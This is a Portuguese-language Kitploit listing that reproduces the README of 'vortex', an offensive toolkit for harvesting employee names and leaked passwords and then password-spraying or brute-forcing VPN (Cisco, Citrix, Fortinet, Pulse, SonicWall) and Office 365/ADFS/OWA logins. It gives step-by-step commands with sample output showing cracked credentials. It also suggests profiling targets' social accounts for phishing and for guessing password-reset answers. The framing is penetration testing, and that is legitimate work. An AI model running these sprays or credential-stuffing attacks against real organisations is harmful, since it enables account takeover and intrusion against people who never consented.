Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
vortex — Kit de Ferramentas de Reconhecimento, Teste, Enumeração e Exploração Geral de VPN | Kitploit
Ferramentas/GitHubGitHub/klezvirus/vortex
OSINT (Inteligência de Fontes Abertas)Quebra de SenhasFerramentas de PhishingReconhecimentoAtaques de SenhaAnálise de VulnerabilidadesColeta de InformaçõesTestes de PenetraçãoEngenharia SocialEnumeração de Subdomínios
GitHubklezvirus/vortex
45051há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

vortex

Kit de Ferramentas de Reconhecimento, Teste, Enumeração e Exploração Geral de VPN

Ver Repositório

🚩 Este é o repositório público do vortex, para a versão mais recente e atualizações, considere nos apoiar através de https://porchetta.industries/

Vortex

Kit de Reconhecimento, Teste, Enumeração e Exploração Geral de VPN

🚩 Patrocinadores

Se você deseja patrocinar este projeto e ter as últimas atualizações do vortex, últimas correções de problemas, últimas funcionalidades, apoie-nos em https://porchetta.industries/

Canal Oficial do Discord

Venha bater um papo no Discord!

Porchetta Industries

Visão Geral

Um framework Python muito simples, inspirado pelo [SprayingToolkit][1], que tenta automatizar a maior parte do processo necessário para detectar, enumerar e atacar endpoints comuns de O365 e VPN (como Cisco, Citrix, Fortinet, Pulse, etc...).

Por que o desenvolvi

Tornar a fase de pulverização de VPN muito mais rápida e fácil. Além disso, devido à sua flexibilidade, esta ferramenta pode ser adicionada a um fluxo de trabalho OSINT existente com bastante facilidade.

O que a ferramenta pode fazer por você

O Vortex fornece principalmente assistência na execução das seguintes tarefas:

  • Pesquisa e Coleta de Usuários
    • LinkedIn
    • Google
    • PwnDB
  • Vazamentos de Senhas
    • PwnDB
  • Identificação do Domínio Principal
    • OWA
    • S4B/Lynk
    • ADFS
  • Pesquisa de Subdomínios
    • Enumeração
    • Força Bruta
  • Detecção de Endpoint VPN
  • Ataques de Pulverização/Adivinhação de Senhas
    • O365
    • Lynk/S4B
    • ADFS
    • IMAP
    • VPNs
      • Cisco
      • Citrix
      • FortiNet
      • Pulse Secure
      • SonicWall
  • Pesquisar perfis em Redes Sociais
    • Instagram
    • Facebook
    • Twitter
    • TikTok
    • Onlyfans

Instalação

Instale os pré-requisitos com pip3 da seguinte forma:``` sudo -H pip3 install -r requirements.txt

root@kitploit:~
### Instalar com Virtualenv

Caso contrário, pode instalar os pré-requisitos usando um ambiente virtual:

###### No Windows```
virtualenv venv
venv\Scripts\activate
pip install -r requirements.txt
No Linux```

python3 -m virtualenv venv source venv/bin/activate pip install -r requirements.txt

root@kitploit:~
## Uso

Usar a ferramenta é bastante simples, mas há um fluxo de trabalho a ser respeitado. A ferramenta
usa um banco de dados SQLite para armazenar informações sobre o ataque atual.

### Workspace

O workspace representa o arquivo de banco de dados usado pela ferramenta. O nome deve ser apenas um
nome simples para rotular o ataque, projeto ou alvo atual.

A cada workspace é atribuído um banco de dados SQLite. Quando você especifica um nome de workspace, como:```
python manage.py -w workspace1

O que você está realmente dizendo é "Quero operar no arquivo workspace1.db".

Inicialização do Workspace

Para funcionar corretamente, o Vortex precisa inicializar o DB com os esquemas corretos. Para fazer isso, a única coisa a fazer é executar o comando:``` python manage.py -w workspace1 db -c init

root@kitploit:~
Se um utilizador tentar pular esta fase, o Vortex apenas imprimirá no ecrã o comando correto para executar primeiro.```
[-] Workspace not initialized. Please initialise it using:
    python manage.py -w workspace1 db -c init

Em vez disso, ao executar o mesmo comando contra uma base de dados existente e inicializada, o Vortex pedirá confirmação antes de sobrescrever o ficheiro DB:``` [-] The DB file exists and it was initialised, overwrite? [y|n] $> y

root@kitploit:~
### Ações e comandos

O Vortex funciona com um argumento posicional, a 'Action', e outros valores chaveados.

O mais importante entre eles é o argumento de comando (`-c cmd`). Em combinação com
o valor da ação, o comando define o que o Vortex deve fazer. 

É possível ver a lista de ações suportadas a partir da Ajuda:```
python manage.py -h

Vortex: VPN Overall Reconnaissance, Enumeration and eXploitation

positional arguments:
  {db,domain,import,office,profile,search,tor,validate,vpn}
                        Action to execute

optional arguments:
  -h, --help            show this help message and exit
  -w WORKSPACE, --workspace WORKSPACE
                        Workspace to use
  -c COMMAND, --command COMMAND
                        Command for the action
  -D DOMAIN, --domain DOMAIN
                        Domain under attack
  -C COMPANY, --company COMPANY
                        Company under attack
  -l LOCATION, --location LOCATION
                        Location of the company under attack (IE, UK, US, ...)
  -u URL, --url URL     VPN Endpoint Origin (schema://domain:port)
  -t ENDPOINT_TYPE, --endpoint-type ENDPOINT_TYPE
                        Target Endpoint Type
  -U USER, --user USER  User name
  -E EMAIL, --email EMAIL
                        User email
  -N NAME, --name NAME  User full name
  -R ROLE, --role ROLE  User job
  -s SQL, --sql SQL     SQL statement
  -O EXPORT_FILE, --export-file EXPORT_FILE
                        Export file
  -Q QUOTES, --quotes QUOTES
                        Produce an Excel safe CSV
  -nh, --no-headers     Remove CSV headers
  -k KEYWORDS, --keywords KEYWORDS
                        Search keywords
  -P PASSWORDS_FILE, --passwords-file PASSWORDS_FILE
                        Password file for spraying
  -L, --leaks           Use leaks for spraying
  -I IMPORT_FILE, --import-file IMPORT_FILE
                        Import file

Inserção dinâmica de argumentos

Como é observável na ajuda, a lista de comandos suportados por ação não é especificada em nenhum lugar. Isso porque não é necessário especificar um comando diretamente. Na verdade, se um comando não for especificado, o Vortex pedirá ao usuário que selecione um entre os comandos disponíveis para a ação especificada.``` python manage.py -w workspace1 db

,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F

[*] Select a command: 0 : init 1 : sql 2 : add-endpoint 3 : add-user 4 : drop-user 5 : truncate-table 6 : export $>

root@kitploit:~
O mesmo se aplica para argumentos necessários por uma rotina específica. Se um argumento for 
difícil de ser inserido em tempo de execução, o Vortex lembrará gentilmente o usuário de que 
o parâmetro é obrigatório. Caso contrário, o Vortex guiará o usuário na seleção
ou inserção dos argumentos necessários.

Por exemplo, se um usuário quisesse exportar uma tabela específica ou até mesmo uma coluna, a única coisa necessária 
seria iniciar o comando de exportação, como observável na imagem abaixo:

![Export Wizard](https://assets.kitploit.com/production/public/readmes/5129/d68f1299e07d162c61c0c98d33a490f36d51848799f72fe98eb5f2e565fdbf2a.gif)

Esse tipo de comportamento torna o Vortex muito fácil de usar.

### Fluxo de Trabalho Geral

O Vortex foi projetado para aderir a um fluxo de operação específico, resumido no esquema
abaixo:

![General Workflow](https://assets.kitploit.com/production/public/readmes/5129/bcde914863b2f917ef576c849a9374eabf3d10d26f3e271098ff8bc4a03f036b.png)

### Operações

#### Coletar usuários

A coleta de usuários válidos para um alvo específico pode ser feita usando três fontes diferentes:

* LinkedIn

Esta fonte foi removida por violação das políticas de usuário do LinkedIn.
Você ainda pode operar no LinkedIn usando [GoMapEnum](https://github.com/nodauf/GoMapEnum),
e então importar os endereços de e-mail usando o comando `import`.

Novamente, esteja ciente de que usar esta funcionalidade é uma violação do contrato de
usuário do LinkedIn, conforme observável no ponto [8.2](https://www.linkedin.com/legal/user-agreement#dos)
do contrato de usuário do LinkedIn:

> Você concorda que não irá: [...]
> 2. Desenvolver, apoiar ou usar software, dispositivos, scripts, robôs ou qualquer outro meio ou processo (incluindo crawlers, plugins de navegador e add-ons ou qualquer outra tecnologia) para fazer scraping dos Serviços ou de outra forma copiar perfis e outros dados dos Serviços;

* CrossLinked

Para substituir parcialmente a funcionalidade acima, a ferramenta incorpora uma versão adaptada do
[CrossLinked](https://github.com/m8r0wn/CrossLinked). Esta ferramenta tentará detectar funcionários de uma empresa usando o Google e o Bing.
Certamente não é o mesmo que pesquisar diretamente no LinkedIn, mas é
bastante útil.

Para operar corretamente, a ferramenta perguntará ao usuário qual formato deve ser usado
para nomes de usuário (i.e., john.doe, j.doe ou d.john) e qual é o domínio padrão
usado pelo domínio alvo.```
python manage.py -w workspace1 search -c crosslinked -D evilcorp.com -C "Evil Corporation"

   ,d#####F^      ,yy############yy       ^9#######,
  ,######"      y###################by      ^9######,
  ######^     y#####F""       ^"9######y      "######]
 d#####^    ,#####" by klezVirus ^9#####,     ^######,
,#####]    ,####F    yy#######y,    ^9####b     ^######
[#####     ####F   ,###F""'"9####,    9####]     9#####
#####F    [####   ,##F^  yy   "###b    9####,    ^#####]
#####]    [###]   ###  dF""#b  ^###]   ^####]     #####]
9####b    [####   9##, 9bd [#]  [##b    #####     [#####
[#####     ####,   9##y, ,y##^  d##F    #####     [####]
 #####b    ^####y   ^"#####"   d###^   ,####]     d#####
 [#####,    ^####by          ,d###^    d####^     #####F
  9#####y     "#####byyyyyyd####F^    d####F     [#####9
   9#####b,     ""############"^    ,d####F     ,######
    ^######b,       ""'""'"^      ,d#####F      d#####F

[+] Select a format for usernames
  0: firstlast
  1: lastfirst
  2: first.last
  3: last.first
  4: last.f
  5: flast
  6: lfirst
  7: f.last
  8: l.first
  9: first
  10: last
  $> 2
[*] Starting search on Google and Bing with CrossLinked
  [>] Searching google for valid employee names at "Evil Corporation"
  [>] Searching bing for valid employee names at "Evil Corporation"
  [>] Found 133 LinkedIn accounts!
[*] Updating DB ...
[+] Done!
  • Google

Esta fonte é operada usando uma versão reduzida e modificada do theHarvester. A ferramenta tentará extrair nomes/e-mails do Google (Coleta Passiva) usando Google Dorks, e do site da empresa (Coleta Ativa).``` python manage.py -w workspace1 search -c google -D evilcorp.com

[] Starting passive/active search on Google [] (PASSIVE) Searching for emails NOT within the domain's site: evilcorp.com -site:evilcorp.com [*] (ACTIVE) Searching for emails within the domain's sites: evilcorp.com [+] Scraping any emails from: https://evilcorp.com [+] Scraping any emails from: https://www.facebook.com/EvilCorp/ ...

[+] 2 unique emails found:

[email protected] [email protected] [>] Found 2 mail [*] Updating DB ... [+] Done!

root@kitploit:~
* PwnDB

Esta fonte é operada usando uma versão portada da implementada no [sn0int](https://github.com/kpcyrd/sn0int).

**Nota**: esta funcionalidade requer estar conectado à rede TOR. No Windows, é possível usar a versão embutida fornecida com o Vortex. No Linux, por outro lado, é necessário instalar o pacote tor (ou seja, `sudo apt-get install tor` no Kali).

##### Iniciar TOR```
python manage.py -w workspace1 tor -c start

[*] Starting TOR Browser, click on connect
Enumerar em em PwnDB```

python manage.py -w workspace1 search -c pwndb -D evilcorp.com

[] Starting search on PwnDB [>] Found 493 leaked accounts! [] Updating DB ... [+] Done!

root@kitploit:~
##### Parar TOR```
python manage.py -w workspace1 tor -c stop

[*] Stopping TOR browser

Coletar endpoints

Vortex usa principalmente duas macro-categorias para endpoints: VPN e endpoints Microsoft (Office). Um alvo pode ser adicionado tanto como um endpoint Office ou VPN, e o Vortex tentará validar o endpoint como um endpoint Office ou VPN, respectivamente, usando uma gama de validadores.

Adicionar um endpoint Office

Vamos esclarecer com um exemplo. O usuário precisa atacar o alvo evilcorp.com, e quer verificar se o domínio é um alvo OWA, Lync, ADFS ou O365.``` python manage.py -w workspace1 office -c add -D evilcorp.com

[#] OWA domain appears to be hosted internally [+] evilcorp.com is a valid OWA target! [-] evilcorp.com does not seem a valid LYNK target [-] evilcorp.com does not seem a valid ADFS target [-] evilcorp.com does not seem a valid IMAP target [+] evilcorp.com is a valid O365 target!

root@kitploit:~
##### Pesquisar subdomínios para endpoints VPN

Para endpoints VPN, o usuário pode realizar uma pesquisa de subdomínio para encontrar hosts que executam logins web de VPN,
como este:```
python manage.py -w workspace1 domain -c enum -D evilcorp.com

   ,d#####F^      ,yy############yy       ^9#######,
  ,######"      y###################by      ^9######,
  ######^     y#####F""       ^"9######y      "######]
 d#####^    ,#####" by klezVirus ^9#####,     ^######,
,#####]    ,####F    yy#######y,    ^9####b     ^######
[#####     ####F   ,###F""'"9####,    9####]     9#####
#####F    [####   ,##F^  yy   "###b    9####,    ^#####]
#####]    [###]   ###  dF""#b  ^###]   ^####]     #####]
9####b    [####   9##, 9bd [#]  [##b    #####     [#####
[#####     ####,   9##y, ,y##^  d##F    #####     [####]
 #####b    ^####y   ^"#####"   d###^   ,####]     d#####
 [#####,    ^####by          ,d###^    d####^     #####F
  9#####y     "#####byyyyyyd####F^    d####F     [#####9
   9#####b,     ""############"^    ,d####F     ,######
    ^######b,       ""'""'"^      ,d#####F      d#####F

[*] Starting subdomain passive enumeration
  [>] Found 10 subdomains
  [$] Elapsed time: 18.360117197036743
[*] Enumerating potential VPN endpoints (HTTPS on 443, 10443)
  [>] Found 1 hosts running an SSL webserver
  [$] Elapsed time: 18.916626691818237
[*] Trying to detect hosts with VPN web-login
  [>] Found 1 hosts with a VPN web login
  [$] Elapsed time: 32.919618368148804
[*] Updating DB...
  [+] Adding vpn.evilcorp.com:443 as a pulse target
  [>] Elapsed time: 18.920615434646606
[+] Done
Adicionar manualmente um endpoint VPN

Para adicionar manualmente endpoints VPN, claro, especificar o domínio de topo provavelmente não seria suficiente. A maneira correta seria especificar um subdomínio específico juntamente com a porta específica em que o Servidor Web VPN está sendo executado.``` python manage.py -w workspace1 vpn -c add -D vpn.evilcorp.com:443

[+] vpn.evilcorp.com:443 is a pulse target!

root@kitploit:~
#### Realizar um ataque de password spray ou bruteforce contra OWA, ADFS, LYNC ou O365

Para realizar um ataque de password spray ou mesmo bruteforce, o único recurso necessário é uma lista de senhas na forma de um arquivo de texto, com uma senha por linha.```
python manage.py -w workspace1 office -c attack -P passwords.txt

   ,d#####F^      ,yy############yy       ^9#######,
  ,######"      y###################by      ^9######,
  ######^     y#####F""       ^"9######y      "######]
 d#####^    ,#####" by klezVirus ^9#####,     ^######,
,#####]    ,####F    yy#######y,    ^9####b     ^######
[#####     ####F   ,###F""'"9####,    9####]     9#####
#####F    [####   ,##F^  yy   "###b    9####,    ^#####]
#####]    [###]   ###  dF""#b  ^###]   ^####]     #####]
9####b    [####   9##, 9bd [#]  [##b    #####     [#####
[#####     ####,   9##y, ,y##^  d##F    #####     [####]
 #####b    ^####y   ^"#####"   d###^   ,####]     d#####
 [#####,    ^####by          ,d###^    d####^     #####F
  9#####y     "#####byyyyyyd####F^    d####F     [#####9
   9#####b,     ""############"^    ,d####F     ,######
    ^######b,       ""'""'"^      ,d#####F      d#####F

[*] Choose an endpoint type to attack, or all to attack any supported endpoint
0 : owa
1 : lync
2 : imap
3 : adfs
4 : o365
5 : all
 $> 4
[*] Running O365Enumerator
  [-] [email protected]:MrRobot2021! is not valid.
  [+] [email protected]:Joanna2021! is valid!
  [>] Found 1 valid logins
[*] Updating Db...
[+] Done

Realizar um ataque de pulverização de senhas ou força bruta contra endpoints VPN

Para realizar um ataque de pulverização de senhas ou até mesmo de força bruta, o único recurso necessário é uma lista de senhas no formato de um arquivo de texto, com uma senha por linha.``` python manage.py -w workspace1 vpn -c attack -P passwords.txt

,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F

[] Choose an endpoint type to attack, or all to attack any supported endpoint 0 : cisco 1 : citrix 2 : citrixlegacy 3 : fortinet 4 : pulse 5 : sonicwall 6 : all $> 6 [] Attacking vpn.evilcorp.com:443 [-] [email protected]:MrRobot2021! is not valid. [+] [email protected]:Joanna2021! is valid! [>] Found 1 valid logins [*] Updating Db... [+] Done

root@kitploit:~
#### Perform a password spray ou bruteforce usando credenciais vazadas

Como o Vortex mantém o controle das credenciais vazadas no PwnDB, um usuário pode optar por testar todas as credenciais vazadas em vez de fornecer um arquivo de senhas.

No entanto, considere que esse comportamento é muito diferente de um ataque de password spray normal.
Em um ataque normal de password spray, de fato, uma única senha é testada contra todos os usuários.
Em um ataque de credenciais vazadas, as credenciais vazadas são testadas contra o usuário específico para o qual foram vazadas.
Então, como exemplo, se o Vortex encontrou os vazamentos:```
User                            Leaks
----------------------------    ----------------------------
[email protected]    ["ISecretlyLoveAngela2020!"]
[email protected]        ["Puppy19!", "MySweetJ111!"]

O Vortex executará as seguintes tentativas, e apenas as seguintes:``` [email protected]:ISecretlyLoveAngela2020! [email protected]:Puppy19! [email protected]:MySweetJ111!

root@kitploit:~
Para realizar este ataque, nenhum arquivo de senha é necessário, mas é preciso definir o parâmetro (-L, ou --leaks).```
python manage.py -w workspace1 vpn -c attack -L

   ,d#####F^      ,yy############yy       ^9#######,
  ,######"      y###################by      ^9######,
  ######^     y#####F""       ^"9######y      "######]
 d#####^    ,#####" by klezVirus ^9#####,     ^######,
,#####]    ,####F    yy#######y,    ^9####b     ^######
[#####     ####F   ,###F""'"9####,    9####]     9#####
#####F    [####   ,##F^  yy   "###b    9####,    ^#####]
#####]    [###]   ###  dF""#b  ^###]   ^####]     #####]
9####b    [####   9##, 9bd [#]  [##b    #####     [#####
[#####     ####,   9##y, ,y##^  d##F    #####     [####]
 #####b    ^####y   ^"#####"   d###^   ,####]     d#####
 [#####,    ^####by          ,d###^    d####^     #####F
  9#####y     "#####byyyyyyd####F^    d####F     [#####9
   9#####b,     ""############"^    ,d####F     ,######
    ^######b,       ""'""'"^      ,d#####F      d#####F

[*] Choose an endpoint type to attack, or all to attack any supported endpoint
0 : cisco
1 : citrix
2 : citrixlegacy
3 : fortinet
4 : pulse
5 : sonicwall
6 : all
 $> 6
[*] Attacking vpn.evilcorp.com:443
  [+] [email protected]:ISecretlyLoveAngela2020! is valid!
  [-] [email protected]:Puppy19! is not valid.
  [-] [email protected]:MySweetJ111! is not valid.
  [>] Found 1 valid logins
[*] Updating Db...
[+] Done

Isso é basicamente tudo. Às vezes, a ferramenta pode pedir mais informações antes de realizar um ataque, como selecionar o VPN realm/group.

Exibindo resultados

A qualquer momento, você pode ver logins válidos que encontrou usando o seguinte comando:``` python manage.py db -w workspace1 -c found-logins [+] Valid Logins Collected: ID Target E-Mail Password


1 vpn.evilcorp.com:443 [email protected] Joanna2021! 2 vpn.evilcorp.com:443 [email protected] ISecretlyLoveAngela2020! [+] Done

root@kitploit:~
#### Procurando Perfis de Redes Sociais

Às vezes, em grandes compromissos, saber um pouco mais sobre nossos alvos nos ajudou a 
violar suas defesas, como usar e-mails pessoais ou contas sociais para phishing,
ou também encontrar respostas para perguntas de segurança de redefinição de senhas.

Por esta razão, integrei o [Profil3r](https://github.com/Greyjedix/Profil3r). Esta ferramenta
tenta identificar contas de redes sociais potencialmente relacionadas a um indivíduo.  

**NOTA IMPORTANTE**: O Profil3r tenta localizar perfis válidos usando combinação de nomes. Não pode
garantir que os perfis encontrados estejam realmente relacionados à pessoa alvo. Por esta razão, os 
perfis não são adicionados automaticamente ao Vortex DB.

Atualmente, é possível operar com o Profil3r em dois modos:

* modo-único
* multi-modo

O modo-único opera sobre um conjunto de palavras-chave fornecidas pelo usuário:```
python manage.py -w workspace1 profile -c single -k elliot -k alderson

   ,d#####F^      ,yy############yy       ^9#######,
  ,######"      y###################by      ^9######,
  ######^     y#####F""       ^"9######y      "######]
 d#####^    ,#####" by klezVirus ^9#####,     ^######,
,#####]    ,####F    yy#######y,    ^9####b     ^######
[#####     ####F   ,###F""'"9####,    9####]     9#####
#####F    [####   ,##F^  yy   "###b    9####,    ^#####]
#####]    [###]   ###  dF""#b  ^###]   ^####]     #####]
9####b    [####   9##, 9bd [#]  [##b    #####     [#####
[#####     ####,   9##y, ,y##^  d##F    #####     [####]
 #####b    ^####y   ^"#####"   d###^   ,####]     d#####
 [#####,    ^####by          ,d###^    d####^     #####F
  9#####y     "#####byyyyyyd####F^    d####F     [#####9
   9#####b,     ""############"^    ,d####F     ,######
    ^######b,       ""'""'"^      ,d#####F      d#####F

[*] Starting single profile search
...
└── FACEBOOK ✔️
   ├──https://facebook.com/elliot
   ├──https://facebook.com/alderson
   ├──https://facebook.com/elliotalderson
   ├──https://facebook.com/aldersonelliot
   ├──https://facebook.com/elliot.alderson
   ├──https://facebook.com/alderson.elliot
...
[+] Done!

O modo múltiplo opera com o primeiro e o último nome de cada usuário no banco de dados. Qualquer palavra-chave adicional passada no modo múltiplo é usada em combinação com o primeiro e o último nome dos usuários. Assim, por exemplo, você pode usar nomes ou números adicionais para personalizar a pesquisa de perfil.``` python manage.py -w workspace1 profile -c multi -k 90

,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F

[*] Starting per-user profile search [>] Searching profiles for Elliot Alderson. Additional keywords: 90 ... └── TWITTER ✔️ ├──https://twitter.com/ElliotAlderson ├──https://twitter.com/AldersonElliot ├──https://twitter.com/Elliot90 ├──https://twitter.com/90Elliot ├──https://twitter.com/Alderson90 ... [>] Searching profiles for Tom Wellick. Additional keywords: 90 ... └── TWITTER ✔️ ├──https://twitter.com/Tom ├──https://twitter.com/Wellick ├──https://twitter.com/90 ├──https://twitter.com/Tom90 ├──https://twitter.com/90Tom ... [+] Done!

root@kitploit:~
#### Importando Dados Externos

O Vortex também oferece suporte para importar dados externos relacionados a usuários ou endpoints. Atualmente, apenas arquivos de texto simples são suportados e há suporte limitado para CSV também.

Os tipos de dados que podem ser importados até agora são:

* Endereços de e-mail
* Nomes de usuário
* Endpoints VPN (target:port)
* Domínios
* ~~Vazamentos do PwnDB~~ OBSOLETO: use apenas o comando search
* Dados do LinkedIn extraídos com ~~Blues~~

Cada tipo de dado é suportado no formato de arquivo de texto normal, um elemento por linha.

## Roteiro

Novas funcionalidades estão chegando em breve (2022):

* Geração inteligente de listas de senhas
* Extração e correlação de dados

Por favor, envie bugs, sugestões ou solicitações de funcionalidades.

## Créditos

* [byt3bl33d3r](https://twitter.com/byt3bl33d3r): Pelo seu incrível trabalho no [SprayingToolkit][1], que inspirou o projeto
* [nodauf](https://twitter.com/nodauf): Pelo seu trabalho no [GoMapEnum](https://github.com/nodauf/GoMapEnum), que me deu outras ideias
* [quasart](https://github.com/quasart): O logotipo foi gerado com [spiral](https://github.com/quasart/spiral)
* [m8r0wn](https://twitter.com/m8r0wn): Pelo seu trabalho no [CrossLinked](https://github.com/m8r0wn/CrossLinked), que é realmente uma ferramenta incrível
* [Greyjedix](https://github.com/Greyjedix/): Pelo seu trabalho no [Profil3r](https://github.com/Greyjedix/Profil3r), que é uma ferramenta muito útil em certas circunstâncias

[1]: https://github.com/byt3bl33d3r/SprayingToolkit
Baixar ferramenta